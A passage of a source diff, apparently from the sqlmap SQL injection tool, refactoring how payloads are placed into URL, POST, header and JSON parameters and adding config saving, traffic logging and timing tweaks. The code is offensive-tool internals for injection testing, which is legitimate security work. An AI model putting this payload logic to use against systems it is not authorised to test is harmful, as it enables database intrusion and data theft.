                origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0)
            origValue = origValue[origValue.rfind('/') + 1:]
@@ -110,7 +109,7 @@ class Agent(object):
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
-            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
+            origValue = origValue.split(kb.customInjectionMark)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
@@ -120,7 +119,7 @@ class Agent(object):
                origValue = _.split('=', 1)[1] if '=' in _ else ""
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
-            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
+            origValue = origValue.split(kb.customInjectionMark)[0]
            origValue = origValue[origValue.find(',') + 1:]
            match = re.search(r"([^;]+)=(?P<value>[^;]+);?\Z", origValue)
            if match:
@@ -131,6 +130,8 @@ class Agent(object):
                if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
                    origValue = origValue.split(' ')[-1].split(':')[-1]

+        origValue = origValue or ""
+
        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
@@ -159,17 +160,16 @@ class Agent(object):
        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
-            _ = "%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
+            _ = "%s%s" % (origValue, kb.customInjectionMark)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString:
                newValue = '"%s"' % newValue
            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not "'%s'" % _ in paramString:
                newValue = "'%s'" % newValue
-            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
+            newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
-            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
+            retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
        elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
-            _ = "%s%s" % (origValue, BOUNDED_INJECTION_MARKER)
-            retVal = "%s=%s" % (re.sub(r" (\#\d\*|\(.+\))\Z", "", parameter), paramString.replace(_, self.addPayloadDelimiters(newValue)))
+            retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
@@ -296,7 +296,7 @@ class Agent(object):
        elif suffix and not comment:
            expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)

-        return re.sub(r"(?s);\W*;", ";", expression)
+        return re.sub(r";\W*;", ";", expression)

    def cleanupPayload(self, payload, origValue=None):
        if payload is None:
@@ -316,6 +316,7 @@ class Agent(object):
            payload = payload.replace(_, randomStr())

        if origValue is not None and "[ORIGVALUE]" in payload:
+            origValue = getUnicode(origValue)
            payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))

        if "[INFERENCE]" in payload:
@@ -346,6 +347,12 @@ class Agent(object):
        if payload:
            payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))

+            for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
+                payload = payload.replace(_, str(randomInt()))
+
+            for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
+                payload = payload.replace(_, randomStr())
+
        return payload

    def getComment(self, request):
@@ -452,7 +459,7 @@ class Agent(object):
        @rtype: C{str}
        """

-        if not Backend.getDbms():
+        if not Backend.getIdentifiedDbms():
            return fields

        if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields):
@@ -857,7 +864,7 @@ class Agent(object):
                    if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0:
                        _ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
                    else:
-                        _ = expression.index("LIMIT ")
+                        _ = re.search(r"\bLIMIT\b", expression, re.I).start()
                    expression = expression[:_]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
@@ -26,6 +26,7 @@ import string
 import subprocess
 import sys
 import tempfile
+import threading
 import time
 import urllib
 import urllib2
@@ -72,6 +73,7 @@ from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
 from lib.core.enums import MKSTEMP_PREFIX
+from lib.core.enums import OPTION_TYPE
 from lib.core.enums import OS
 from lib.core.enums import PLACE
 from lib.core.enums import PAYLOAD
@@ -95,8 +97,8 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
 from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
 from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK
-from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DBMS_DIRECTORY_DICT
+from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DEFAULT_MSSQL_SCHEMA
@@ -112,6 +114,7 @@ from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN
 from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
 from lib.core.settings import HASHDB_MILESTONE_VALUE
 from lib.core.settings import HOST_ALIASES
+from lib.core.settings import IGNORE_SAVE_OPTIONS
 from lib.core.settings import INFERENCE_UNKNOWN_CHAR
 from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT
 from lib.core.settings import IP_ADDRESS_REGEX
@@ -137,6 +140,7 @@ from lib.core.settings import REFERER_ALIASES
 from lib.core.settings import REFLECTED_BORDER_REGEX
 from lib.core.settings import REFLECTED_MAX_REGEX_PARTS
 from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
+from lib.core.settings import REFLECTED_REPLACEMENT_TIMEOUT
 from lib.core.settings import REFLECTED_VALUE_MARKER
 from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
 from lib.core.settings import SENSITIVE_DATA_REGEX
@@ -268,7 +272,7 @@ class Format(object):
        infoApi = {}

        if info and "type" in info:
-            if hasattr(conf, "api"):
+            if conf.api:
                infoApi["%s operating system" % target] = info
            else:
                infoStr += "%s operating system: %s" % (target, Format.humanize(info["type"]))
@@ -286,12 +290,12 @@ class Format(object):
                    infoStr += " (%s)" % Format.humanize(info["codename"])

        if "technology" in info:
-            if hasattr(conf, "api"):
+            if conf.api:
                infoApi["web application technology"] = Format.humanize(info["technology"], ", ")
            else:
                infoStr += "\nweb application technology: %s" % Format.humanize(info["technology"], ", ")

-        if hasattr(conf, "api"):
+        if conf.api:
            return infoApi
        else:
            return infoStr.lstrip()
@@ -318,14 +322,14 @@ class Backend:
            msg += "correct [%s (default)/%s] " % (kb.dbms, dbms)

            while True:
-                _ = readInput(msg, default=kb.dbms)
+                choice = readInput(msg, default=kb.dbms)

-                if aliasToDbmsEnum(_) == kb.dbms:
+                if aliasToDbmsEnum(choice) == kb.dbms:
                    kb.dbmsVersion = []
                    kb.resolutionDbms = kb.dbms
                    break
-                elif aliasToDbmsEnum(_) == dbms:
-                    kb.dbms = aliasToDbmsEnum(_)
+                elif aliasToDbmsEnum(choice) == dbms:
+                    kb.dbms = aliasToDbmsEnum(choice)
                    break
                else:
                    warnMsg = "invalid value"
@@ -378,12 +382,12 @@ class Backend:
            msg += "correct [%s (default)/%s] " % (kb.os, os)

            while True:
-                _ = readInput(msg, default=kb.os)
+                choice = readInput(msg, default=kb.os)

-                if _ == kb.os:
+                if choice == kb.os:
                    break
-                elif _ == os:
-                    kb.os = _.capitalize()
+                elif choice == os:
+                    kb.os = choice.capitalize()
                    break
                else:
                    warnMsg = "invalid value"
@@ -417,10 +421,10 @@ class Backend:
        msg += "\n[2] 64-bit"

        while True:
-            _ = readInput(msg, default='1')
+            choice = readInput(msg, default='1')

-            if isinstance(_, basestring) and _.isdigit() and int(_) in (1, 2):
-                kb.arch = 32 if int(_) == 1 else 64
+            if isinstance(choice, basestring) and choice.isdigit() and int(choice) in (1, 2):
+                kb.arch = 32 if int(choice) == 1 else 64
                break
            else:
                warnMsg = "invalid value. Valid values are 1 and 2"
@@ -431,7 +435,7 @@ class Backend:
    # Get methods
    @staticmethod
    def getForcedDbms():
-        return aliasToDbmsEnum(kb.get("forcedDbms"))
+        return aliasToDbmsEnum(conf.get("forceDbms")) or aliasToDbmsEnum(kb.get("forcedDbms"))

    @staticmethod
    def getDbms():
@@ -465,6 +469,8 @@ class Backend:

        if not kb:
            pass
+        elif not kb.get("testMode") and conf.get("dbmsHandler") and getattr(conf.dbmsHandler, "_dbms", None):
+            dbms = conf.dbmsHandler._dbms
        elif Backend.getForcedDbms() is not None:
            dbms = Backend.getForcedDbms()
        elif Backend.getDbms() is not None:
@@ -515,10 +521,9 @@ class Backend:
    # Comparison methods
    @staticmethod
    def isDbms(dbms):
-        if Backend.getDbms() is not None:
-            return Backend.getDbms() == aliasToDbmsEnum(dbms)
-        else:
-            return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
+        if not kb.get("testMode") and all((Backend.getDbms(), Backend.getIdentifiedDbms())) and Backend.getDbms() != Backend.getIdentifiedDbms():
+            singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
+        return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)

    @staticmethod
    def isDbmsWithin(aliases):
@@ -589,15 +594,15 @@ def paramToDict(place, parameters=None):
                      or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
                      and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
                        warnMsg = "it appears that you have provided tainted parameter values "
-                        warnMsg += "('%s') with most probably leftover " % element
+                        warnMsg += "('%s') with most likely leftover " % element
                        warnMsg += "chars/statements from manual SQL injection test(s). "
                        warnMsg += "Please, always use only valid parameter values "
                        warnMsg += "so sqlmap could be able to run properly"
                        logger.warn(warnMsg)

                        message = "are you really sure that you want to continue (sqlmap could have problems)? [y/N] "
-                        test = readInput(message, default="N")
-                        if test[0] not in ("y", "Y"):
+
+                        if not readInput(message, default='N', boolean=True):
                            raise SqlmapSilentQuitException
                    elif not _:
                        warnMsg = "provided value for parameter '%s' is empty. " % parameter
@@ -613,7 +618,8 @@ def paramToDict(place, parameters=None):
                                candidates = OrderedDict()

                                def walk(head, current=None):
-                                    current = current or head
+                                    if current is None:
+                                        current = head
                                    if isListLike(current):
                                        for _ in current:
                                            walk(head, _)
@@ -621,14 +627,15 @@ def paramToDict(place, parameters=None):
                                        for key in current.keys():
                                            value = current[key]
                                            if isinstance(value, (list, tuple, set, dict)):
-                                                walk(head, value)
+                                                if value:
+                                                    walk(head, value)
                                            elif isinstance(value, (bool, int, float, basestring)):
                                                original = current[key]
                                                if isinstance(value, bool):
                                                    current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER)
                                                else:
                                                    current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
-                                                candidates["%s (%s)" % (parameter, key)] = re.sub("(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
+                                                candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
                                                current[key] = original

                                deserialized = json.loads(testableParameters[parameter])
@@ -637,8 +644,8 @@ def paramToDict(place, parameters=None):
                                if candidates:
                                    message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
                                    message += "is JSON deserializable. Do you want to inject inside? [y/N] "
-                                    test = readInput(message, default="N")
-                                    if test[0] in ("y", "Y"):
+
+                                    if not readInput(message, default='N', boolean=True):
                                        del testableParameters[parameter]
                                        testableParameters.update(candidates)
                                    break
@@ -647,12 +654,12 @@ def paramToDict(place, parameters=None):
                            except Exception:
                                pass

-                            _ = re.sub(regex, "\g<1>%s\g<%d>" % (CUSTOM_INJECTION_MARK_CHAR, len(match.groups())), testableParameters[parameter])
+                            _ = re.sub(regex, r"\g<1>%s\g<%d>" % (kb.customInjectionMark, len(match.groups())), testableParameters[parameter])
                            message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
-                            message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % _
-                            test = readInput(message, default="N")
-                            if test[0] in ("y", "Y"):
-                                testableParameters[parameter] = re.sub(regex, "\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])
+                            message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_)
+
+                            if readInput(message, default='N', boolean=True):
+                                testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter]), parameters)
                            break

    if conf.testParameter:
@@ -728,7 +735,11 @@ def getManualDirectories():

    directories = normalizePath(directories)

-    if directories:
+    if conf.webRoot:
+        directories = [conf.webRoot]
+        infoMsg = "using '%s' as web server document root" % conf.webRoot
+        logger.info(infoMsg)
+    elif directories:
        infoMsg = "retrieved the web server document root: '%s'" % directories
        logger.info(infoMsg)
    else:
@@ -743,17 +754,17 @@ def getManualDirectories():
        message += "[2] custom location(s)\n"
        message += "[3] custom directory list file\n"
        message += "[4] brute force search"
-        choice = readInput(message, default="1").strip()
+        choice = readInput(message, default='1')

-        if choice == "2":
+        if choice == '2':
            message = "please provide a comma separate list of absolute directory paths: "
            directories = readInput(message, default="").split(',')
-        elif choice == "3":
+        elif choice == '3':
            message = "what's the list file location?\n"
            listPath = readInput(message, default="")
            checkFile(listPath)
            directories = getFileItems(listPath)
-        elif choice == "4":
+        elif choice == '4':
            targets = set([conf.hostname])
            _ = conf.hostname.split('.')

@@ -887,7 +898,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
                message = data

            try:
-                if hasattr(conf, "api"):
+                if conf.get("api"):
                    sys.stdout.write(message, status, content_type)
                else:
                    sys.stdout.write(setColor(message, bold))
@@ -954,7 +965,7 @@ def dataToOutFile(filename, data):

    return retVal

-def readInput(message, default=None, checkBatch=True):
+def readInput(message, default=None, checkBatch=True, boolean=False):
    """
    Reads input from terminal
    """
@@ -991,7 +1002,7 @@ def readInput(message, default=None, checkBatch=True):
    if retVal is None:
        if checkBatch and conf.get("batch"):
            if isListLike(default):
-                options = ",".join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
+                options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
            elif default:
                options = getUnicode(default, UNICODE_ENCODING)
            else:
@@ -1027,6 +1038,12 @@ def readInput(message, default=None, checkBatch=True):
            finally:
                logging._releaseLock()

+    if retVal and default and isinstance(default, basestring) and len(default) == 1:
+        retVal = retVal.strip()
+
+    if boolean:
+        retVal = retVal.strip().upper() == 'Y'
+
    return retVal

 def randomRange(start=0, stop=1000, seed=None):
@@ -1101,6 +1118,13 @@ def sanitizeStr(value):
    return getUnicode(value).replace("\n", " ").replace("\r", "")

 def getHeader(headers, key):
+    """
+    Returns header value ignoring the letter case
+
+    >>> getHeader({"Foo": "bar"}, "foo")
+    'bar'
+    """
+
    retVal = None
    for _ in (headers or {}):
        if _.upper() == key.upper():
@@ -1115,6 +1139,9 @@ def checkFile(filename, raiseOnError=True):

    valid = True

+    if filename:
+        filename = filename.strip('"\'')
+
    try:
        if filename is None or not os.path.isfile(filename):
            valid = False
@@ -1138,7 +1165,7 @@ def banner():
    This function prints sqlmap banner with its version
    """

-    if not any(_ in sys.argv for _ in ("--version", "--pickled-options")):
+    if not any(_ in sys.argv for _ in ("--version", "--api")):
        _ = BANNER

        if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
@@ -1179,8 +1206,7 @@ def cleanQuery(query):

    for sqlStatements in SQL_STATEMENTS.values():
        for sqlStatement in sqlStatements:
-            sqlStatementEsc = sqlStatement.replace("(", "\\(")
-            queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
+            queryMatch = re.search("(?i)\b(%s)\b" % sqlStatement.replace("(", "").replace(")", "").strip(), query)

            if queryMatch and "sys_exec" not in query:
                retVal = retVal.replace(queryMatch.group(1), sqlStatement.upper())
@@ -1256,6 +1282,8 @@ def parseTargetDirect():
    if not conf.direct:
        return

+    conf.direct = conf.direct.encode(UNICODE_ENCODING)  # some DBMS connectors (e.g. pymssql) don't like Unicode with non-US letters
+
    details = None
    remote = False

@@ -1272,8 +1300,8 @@ def parseTargetDirect():
                if conf.dbmsCred:
                    conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':')
                else:
-                    conf.dbmsUser = unicode()
-                    conf.dbmsPass = unicode()
+                    conf.dbmsUser = ""
+                    conf.dbmsPass = ""

            if not conf.dbmsPass:
                conf.dbmsPass = None
@@ -1369,7 +1397,7 @@ def parseTargetUrl():
        else:
            conf.url = "http://" + conf.url

-    if CUSTOM_INJECTION_MARK_CHAR in conf.url:
+    if kb.customInjectionMark in conf.url:
        conf.url = conf.url.replace('?', URI_QUESTION_MARKER)

    try:
@@ -1387,7 +1415,7 @@ def parseTargetUrl():
    conf.hostname = hostnamePort[0].strip()

    conf.ipv6 = conf.hostname != conf.hostname.strip("[]")
-    conf.hostname = conf.hostname.strip("[]").replace(CUSTOM_INJECTION_MARK_CHAR, "")
+    conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "")

    try:
        _ = conf.hostname.encode("idna")
@@ -1411,7 +1439,7 @@ def parseTargetUrl():
    else:
        conf.port = 80

-    if conf.port < 0 or conf.port > 65535:
+    if conf.port < 1 or conf.port > 65535:
        errMsg = "invalid target URL's port (%d)" % conf.port
        raise SqlmapSyntaxException(errMsg)

@@ -1427,13 +1455,13 @@ def parseTargetUrl():
    if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
        debugMsg = "setting the HTTP Referer header to the target URL"
        logger.debug(debugMsg)
-        conf.httpHeaders = filter(lambda (key, value): key != HTTP_HEADER.REFERER, conf.httpHeaders)
-        conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(CUSTOM_INJECTION_MARK_CHAR, "")))
+        conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
+        conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))

    if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5):
        debugMsg = "setting the HTTP Host header to the target URL"
        logger.debug(debugMsg)
-        conf.httpHeaders = filter(lambda (key, value): key != HTTP_HEADER.HOST, conf.httpHeaders)
+        conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
        conf.httpHeaders.append((HTTP_HEADER.HOST, getHostHeader(conf.url)))

    if conf.url != originalUrl:
@@ -1490,15 +1518,25 @@ def getLimitRange(count, plusOne=False):
    retVal = None
    count = int(count)
    limitStart, limitStop = 1, count
+    reverse = False

-    if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop:
-        limitStop = conf.limitStop
+    if kb.dumpTable:
+        if conf.limitStart and conf.limitStop and conf.limitStart > conf.limitStop:
+            limitStop = conf.limitStart
+            limitStart = conf.limitStop
+            reverse = True
+        else:
+            if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop:
+                limitStop = conf.limitStop

-    if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
-        limitStart = conf.limitStart
+            if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
+                limitStart = conf.limitStart

    retVal = xrange(limitStart, limitStop + 1) if plusOne else xrange(limitStart - 1, limitStop)

+    if reverse:
+        retVal = xrange(retVal[-1], retVal[0] - 1, -1)
+
    return retVal

 def parseUnionPage(page):
@@ -1600,6 +1638,13 @@ def getRemoteIP():
    return retVal

 def getFileType(filePath):
+    """
+    Returns "magic" file type for given file path
+
+    >>> getFileType(__file__)
+    'text'
+    """
+
    try:
        _ = magic.from_file(filePath)
    except:
@@ -1755,7 +1800,7 @@ def safeStringFormat(format_, params):
                    break
    return retVal

-def getFilteredPageContent(page, onlyText=True):
+def getFilteredPageContent(page, onlyText=True, split=" "):
    """
    Returns filtered page content without script, style and/or comments
    or all HTML tags
@@ -1768,10 +1813,10 @@ def getFilteredPageContent(page, onlyText=True):

    # only if the page's charset has been successfully identified
    if isinstance(page, unicode):
-        retVal = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), " ", page)
-        while retVal.find("  ") != -1:
-            retVal = retVal.replace("  ", " ")
-        retVal = htmlunescape(retVal.strip())
+        retVal = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page)
+        while retVal.find(2 * split) != -1:
+            retVal = retVal.replace(2 * split, split)
+        retVal = htmlunescape(retVal.strip().strip(split))

    return retVal

@@ -1949,10 +1994,10 @@ def getSQLSnippet(dbms, sfile, **variables):

    retVal = readCachedFileContent(filename)
    retVal = re.sub(r"#.+", "", retVal)
-    retVal = re.sub(r"(?s);\s+", "; ", retVal).strip("\r\n")
+    retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n")

    for _ in variables.keys():
-        retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)
+        retVal = re.sub(r"%%%s%%" % _, variables[_].replace('\\', r'\\'), retVal)

    for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I):
        retVal = retVal.replace(_, randomStr())
@@ -1967,9 +2012,8 @@ def getSQLSnippet(dbms, sfile, **variables):
        logger.error(errMsg)

        msg = "do you want to provide the substitution values? [y/N] "
-        choice = readInput(msg, default="N")

-        if choice and choice[0].lower() == "y":
+        if readInput(msg, default='N', boolean=True):
            for var in variables:
                msg = "insert value for variable '%s': " % var
                val = readInput(msg, default="")
@@ -2080,6 +2124,9 @@ def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, un

    retVal = list() if not unique else OrderedDict()

+    if filename:
+        filename = filename.strip('"\'')
+
    checkFile(filename)

    try:
@@ -2327,7 +2374,7 @@ def wasLastResponseDBMSError():

 def wasLastResponseHTTPError():
    """
-    Returns True if the last web request resulted in an errornous HTTP code (like 500)
+    Returns True if the last web request resulted in an erroneous HTTP code (like 500)
    """

    threadData = getCurrentThreadData()
@@ -2345,7 +2392,7 @@ def wasLastResponseDelayed():
    deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, []))
    threadData = getCurrentThreadData()

-    if deviation and not conf.direct:
+    if deviation and not conf.direct and not conf.disableStats:
        if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
            warnMsg = "time-based standard deviation method used on a model "
            warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
@@ -2358,14 +2405,17 @@ def wasLastResponseDelayed():
            if kb.adjustTimeDelay is None:
                msg = "do you want sqlmap to try to optimize value(s) "
                msg += "for DBMS delay responses (option '--time-sec')? [Y/n] "
-                choice = readInput(msg, default='Y')
-                kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if choice.upper() == 'N' else ADJUST_TIME_DELAY.YES
+
+                kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if not readInput(msg, default='Y', boolean=True) else ADJUST_TIME_DELAY.YES
            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit)

        return retVal
    else:
-        return (threadData.lastQueryDuration - conf.timeSec) >= 0
+        delta = threadData.lastQueryDuration - conf.timeSec
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):  # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average
+            delta += 0.05
+        return delta >= 0

 def adjustTimeDelay(lastQueryDuration, lowerStdLimit):
    """
@@ -2524,7 +2574,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
        # corner case when character % really needs to be
        # encoded (when not representing URL encoded char)
        # except in cases when tampering scripts are used
-        if all(map(lambda x: '%' in x, [safe, value])) and not kb.tamperFunctions:
+        if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
            value = re.sub("%(?![0-9a-fA-F]{2})", "%25", value)

        while True:
@@ -2576,18 +2626,19 @@ def runningAsAdmin():

    return isAdmin

-def logHTTPTraffic(requestLogMsg, responseLogMsg):
+def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None):
    """
    Logs HTTP traffic to the output file
    """

-    if not conf.trafficFile:
-        return
+    if conf.harFile:
+        conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime)

-    with kb.locks.log:
-        dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep))
-        dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
-        dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep))
+    if conf.trafficFile:
+        with kb.locks.log:
+            dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep))
+            dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
+            dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep))

 def getPageTemplate(payload, place):  # Cross-linked function
    raise NotImplementedError
@@ -2604,7 +2655,7 @@ def getPublicTypeMembers(type_, onlyValues=False):
    retVal = []

    for name, value in inspect.getmembers(type_):
-        if not name.startswith('__'):
+        if not name.startswith("__"):
            if not onlyValues:
                retVal.append((name, value))
            else:
@@ -2664,7 +2715,7 @@ def extractTextTagContent(page):
        except MemoryError:
            page = page.replace(REFLECTED_VALUE_MARKER, "")

-    return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page)))
+    return filter(None, (_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)))

 def trimAlphaNum(value):
    """
@@ -2776,11 +2827,11 @@ def removeDynamicContent(page):
            if prefix is None and suffix is None:
                continue
            elif prefix is None:
-                page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix.replace('\\', r'\\'), page)
+                page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page)
            elif suffix is None:
-                page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix.replace('\\', r'\\'), page)
+                page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page)
            else:
-                page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
+                page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)

    return page

@@ -2917,6 +2968,58 @@ def setOptimize():
        debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'"
        logger.debug(debugMsg)

+def saveConfig(conf, filename):
+    """
+    Saves conf to configuration filename
+    """
+
+    config = UnicodeRawConfigParser()
+    userOpts = {}
+
+    for family in optDict.keys():
+        userOpts[family] = []
+
+    for option, value in conf.items():
+        for family, optionData in optDict.items():
+            if option in optionData:
+                userOpts[family].append((option, value, optionData[option]))
+
+    for family, optionData in userOpts.items():
+        config.add_section(family)
+
+        optionData.sort()
+
+        for option, value, datatype in optionData:
+            if datatype and isListLike(datatype):
+                datatype = datatype[0]
+
+            if option in IGNORE_SAVE_OPTIONS:
+                continue
+
+            if value is None:
+                if datatype == OPTION_TYPE.BOOLEAN:
+                    value = "False"
+                elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT):
+                    if option in defaults:
+                        value = str(defaults[option])
+                    else:
+                        value = "0"
+                elif datatype == OPTION_TYPE.STRING:
+                    value = ""
+
+            if isinstance(value, basestring):
+                value = value.replace("\n", "\n ")
+
+            config.set(family, option, value)
+
+    with openFile(filename, "wb") as f:
+        try:
+            config.write(f)
+        except IOError, ex:
+            errMsg = "something went wrong while trying "
+            errMsg += "to write to the configuration file '%s' ('%s')" % (filename, getSafeExString(ex))
+            raise SqlmapSystemException(errMsg)
+
 def initTechnique(technique=None):
    """
    Prepares data for technique specified
@@ -3118,11 +3221,29 @@ def decodeIntToUnicode(value):

    return retVal

+def md5File(filename):
+    """
+    Calculates MD5 digest of a file
+    Reference: http://stackoverflow.com/a/3431838
+    """
+
+    checkFile(filename)
+
+    digest = hashlib.md5()
+    with open(filename, "rb") as f:
